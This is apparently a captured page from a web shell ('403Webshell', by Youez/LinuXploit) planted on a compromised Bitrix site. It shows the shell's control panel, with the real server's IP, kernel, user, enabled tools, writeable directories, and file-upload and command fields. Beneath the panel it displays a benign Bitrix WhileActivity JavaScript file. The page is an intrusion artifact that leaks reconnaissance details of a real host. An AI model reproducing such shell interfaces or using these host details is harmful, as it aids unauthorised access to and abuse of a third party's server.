403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/activities/bitrix/whileactivity/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/activities/bitrix/whileactivity/whileactivity.js
/////////////////////////////////////////////////////////////////////////////////////
// WhileActivity
/////////////////////////////////////////////////////////////////////////////////////
WhileActivity = function()
{
	var ob = new BizProcActivity();
	ob.Type = 'WhileActivity';

	ob.BizProcActivityDraw = ob.Draw;
	ob.Draw = function (container)
	{
		if(ob.childActivities.length == 0 )
		{
			ob.childActivities = [new SequenceActivity()];
			ob.childActivities[0].parentActivity = ob;
		}

		ob.container = container.appendChild(document.createElement('DIV'));
		if(!jsUtils.IsIE())
			ob.container.className = 'parallelcontainer';

		ob.BizProcActivityDraw(ob.container);
		ob.activityContent = null;

		ob.div.style.position = 'relative';
		ob.div.style.top = '12px';

		ob.hideContainer = ob.container.appendChild(document.createElement('DIV'));
		ob.hideContainer.style.background = '#FFFFFF';
		ob.hideContainer.style.border = '1px #CCCCCC dashed';
		ob.hideContainer.style.width = '250px';
		ob.hideContainer.style.color = '#AAAAAA';
		ob.hideContainer.style.padding = '13px 0px 3px 0px';
		ob.hideContainer.style.cursor = 'pointer';
		ob.hideContainer.innerHTML = BPMESS['PARA_MIN'];
		ob.hideContainer.onclick = ob.OnHideClick;

		ob.childsContainer = ob.container.appendChild(_crt(1, 3));
		ob.childsContainer.rows[0].cells[0].width = '15%';
		ob.childsContainer.rows[0].cells[1].width = '70%';
		ob.childsContainer.rows[0].cells[2].width = '15%';
		ob.childsContainer.rows[0].cells[1].style.border = '2px #dfdfdf dashed';
		ob.childsContainer.id = ob.Name;

		if (ob.Properties['_DesMinimized'] == 'Y')
		{
			ob.childsContainer.style.display = 'none';
		}
		else
		{
			ob.hideContainer.style.display = 'none';
		}

		ob.childsContainer.rows[0].cells[1].style.padding = '10px';

		ob.childActivities[0].Draw(ob.childsContainer.rows[0].cells[1]);
	};


	ob.CheckFields = function ()
	{
		return true;
	};

	ob.OnHideClick = function ()
	{
		if(ob.Properties['_DesMinimized'] == 'Y')
		{
			ob.Properties['_DesMinimized'] = 'N';
			ob.childsContainer.style.display = 'table';
			ob.hideContainer.style.display = 'none';
		}
		else
		{
			ob.Properties['_DesMinimized'] = 'Y';
			ob.childsContainer.style.display = 'none';
			ob.hideContainer.style.display = 'block';
		}
	};

	return ob;
};

WhileActivity.changeConditionTypeHandler = function(selectElement)
{
	Array.from(selectElement.options).forEach(function(option) {

		var container = document.getElementById(option.getAttribute('data-id'));
		container.style.display = option.selected ? '' : 'none';
	});
}

Youez - 2016 - github.com/yon3zu
LinuXploit